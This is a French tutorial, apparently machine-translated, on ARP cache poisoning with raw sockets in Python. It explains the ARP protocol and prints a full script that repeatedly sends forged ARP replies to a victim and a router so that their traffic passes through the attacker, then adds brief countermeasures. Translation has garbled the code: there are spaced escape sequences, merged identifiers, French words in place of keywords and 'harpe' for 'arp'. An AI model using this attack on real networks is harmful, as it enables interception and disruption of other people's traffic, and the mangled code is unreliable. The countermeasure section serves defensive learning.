✅ Attaque d'empoisonnement ARP avec des sockets bruts en Python

Table des matières

Aujourd'hui je vais t'apprendre comment mettre en œuvre une attaque d'empoisonnement ARP (empoisonnement du cache ARP). Pour cela je vais utiliser des sockets bruts en python, l'objectif est de voir comment fonctionne ce type de sockets, que vous appreniez comment fonctionne cette attaque ou que vous puissiez faire des tests sur votre réseau (bien qu'il existe déjà des outils sur le réseau pour ça), pas que vous l'utilisiez à des fins malveillantes fins.

NoterAvec scapy, vous pouvez mettre en œuvre ce travail plus rapidement et plus facilement, mais en regardant ce didacticiel, vous pourrez utiliser les connaissances nécessaires pour utiliser la bibliothèque et le faire vous-même, si nous le faisions dans l'autre sens, cela vous coûterait plus cher. La méthode présentée ici ne fonctionne que sur les systèmes Linux.

Petits détails que vous devez savoir
ARPC'est le protocole de résolution d'adresse trouvé au niveau de la couche réseau. Sa mission est de trouver l'adresse MAC (adresse physique) qui correspond à une adresse IP spécifique (adresse réseau).
Cache ARPChaque appareil dispose d'une petite mémoire où il stocke les traductions MAC - IP, nous allons en profiter dans cette attaque. Ce cache existe car il évite la surcharge de demander la traduction chaque fois que nous nous connectons à un autre appareil.

Le Fonctionnement du protocole ARP C'est simple, lorsque vous envoyez un paquet à quelqu'un, le cache de l'appareil sera vérifié, s'il y a cette traduction il faudra qu'il envoie le paquet, s'il n'y a pas d'ARP il enverra un paquet de diffusion (c'est spécial, il a l'adresse MAC de destination ff: ff : ff: ff: ff: ff), ce paquet atteindra tous les appareils du réseau, et "demandera" qui a l'adresse IP recherchée, chaque appareil en voyant le MAC spécial lira le paquet, et seulement celui avec l'adresse L'IP recherchée répondra en indiquant son MAC, à ce moment-là elle sera stockée dans le cache, afin de ne pas avoir à redemander dans les prochaines minutes.

Le Attaque d'empoisonnement ARP Il est utilisé pour espionner les données qui transitent par un réseau, ou nous pouvons également l'utiliser pour que les données n'atteignent pas les destinations vers lesquelles elles vont. Cette attaque consiste à envoyer en permanence des paquets ARP au réseau indiquant que notre MAC correspond à l'IP de la victime et que notre MAC est associé à l'IP du routeur. Nous devons envoyer les packages en permanence car c'est un protocole dynamique, donc le cache change, il se peut que la traduction soit effacée, elle est mise à jour avec les données réelles, donc pour être sûr d'envoyer des packages à chaque petit moment, ils ne sont pas très lourds, ils ne surchargeront donc normalement pas le réseau.

NoterARP est un protocole qui n'est utilisé qu'en IPv4, donc cette attaque n'est pas valable pour IPv6, mais l'attaque d'empoisonnement peut être effectuée en profitant d'un autre protocole, tel que NDP, qui est utilisé pour découvrir des "voisins" dans un réseau .

Pour commencer notre exemple nous devons connaître les adresses IP de la victime et de la passerelle du routeur, ainsi que son MAC, vous pouvez utiliser nmap pour découvrir les périphériques actifs dans votre réseau, et le MAC peut être obtenu facilement, par exemple Nous voulons pour empoisonner le cache de l'adresse 192.168.66.2, qui sera ma victime (une machine virtuelle), j'exécuterai la commande suivante dans la cmd ou le terminal :

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1

Les -c et -n indiquent qu'un seul paquet doit être envoyé, chaque système d'exploitation a un paramètre différent. Plus tard on met :

 harpe

Il indiquera le cache ARP, donc nous pouvons voir les traductions que nous avons stockées (et après avoir fait un ping précédemment nous avons déjà la traduction avec la victime). Nous devons faire de même avec la passerelle du routeur :

Ensuite, je vais mettre toutes les données dont nous disposons pour les avoir à portée de main :

Victime -> 192.168.66.2 / MAC : 00 : 50 : 56 : e3 : d1 : 75

Routeur -> IP : 192.168.66.1 / MAC : 00 : 50 : 56 : c0 : 00 : 08

Mon ordinateur -> IP : 192.168.66.128 / MAC : 00 : 0c : 29 : 5e : cb : 5f

Je mets le code complet et l'explique ci-dessous, cela fonctionne pour Python en version 2.x, mais avec de petites modifications vous pouvez l'adapter à la version 3.x :

 import socket import time, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00\x0c\x29\x5e\xcb\x5f "macVictima ="\x00\x50\x56\xe3\xd1\x75"macRouter ="\x00\x50\x56\xc0\x00\x08"code ="\x08\ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 " \ x02 " SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton (" 192.168.66.1 ") ipVictima = socket.inet_aton (" 192.168.66.2 ") macVictouterIngouter + eth1 + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Empoisonnement des caches… pour arrêter CTRL + C") tandis que True : connection.send (arpRouter) connection.send (arpVictima ) heure.sommeil (1)

La première chose que nous faisons est d'importer les bibliothèques nécessaires, qui n'ont pas besoin d'explications supplémentaires. Continuons avec les lignes suivantes :

 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))

La première ligne crée une socket, avec les caractéristiques suivantes :

PF_PAQUET: Pour envoyer et recevoir des colis à bas niveau.

CHAUSSETTE_RAW: Pour utiliser des sockets bruts.

socket.htons (0x0800): Le 0x0800 va définir le protocole ETH_P_IP, la fonction ntohs convertit le format réseau en octets au format approprié pour notre ordinateur (s signifie court, c'est-à-dire 16 bits, s'il avait un l, ce serait 32 bits).

Et le second va être chargé de mettre la socket en "écoute":

ens33: c'est l'interface réseau où nous allons travailler, la vôtre peut être eth0, si vous utilisez une ifconfig vous la verrez (voir image ci-dessous).

socket.htons (0x800): le même que dit avant.

Les lignes que nous voyons ci-dessous vont créer les en-têtes Ethernet, pour cela nous établissons les MAC, et le code (celui que nous mettons appartient au protocole ARP), si vous voulez en savoir plus sur Ethernet cliquez ici :

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" code = "\ x08 \ x06" commonpackage = macSource + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage

La partie suivante du code assemble les packages ARP, pour consulter la structure vous pouvez visiter le lien suivant et aller à la section structure du package. Le code d'opération \x00\x02 est d'indiquer qu'il s'agit d'un paquet de réponse (s'il était à 1 ce serait une requête), et la fonction socket.inet_aton() convertit une adresse IPv4 au format binaire 32 bits. Comme vous l'avez vu dans le code précédent et maintenant pour créer un package, nous concaténons ses parties.

 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + en-tête partagé + ipRouter + macVictima + ipVictima arpRouter = eth2 + en-tête partagé + ipVictima + macRouter + ipRouter

La dernière partie du code affiche un message pour savoir que cela fonctionne et entre dans une boucle infinie qui enverra des paquets pour empoisonner les caches de notre victime et la passerelle du routeur, cela le fait à chaque seconde depuis que nous avons un sommeil.

 print ("Empoisonnement des caches … pour arrêter CTRL + C") tandis que True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)

Voyons à quoi ressemble l'exécution du programme (nous devons exécuter en tant qu'utilisateur root):

Et si on regarde le cache de la victime, on constate que son adresse IP est désormais associée au MAC de l'attaquant :

Contre-mesures

Porter tables ARP statiques, nous ajoutons les entrées à la main et nous ne les laissons pas varier.

Consulter ARP inversé, ce protocole renverra l'adresse IP d'un MAC, donc s'il renvoie plus d'une adresse IP, il est probable que nous ayons été usurpés.

Ces mesures nécessitent un minimum de connaissances, donc tout le monde ne pourra pas les réaliser, mais en consultant notre section Questions ou tutoriels sur la sécurité informatique, vous trouverez sûrement de l'aide.

Au cas où vous voudriez le code, voici un zip :

Télécharger le code ArpPoisoning.zip 579 octets 116 Téléchargements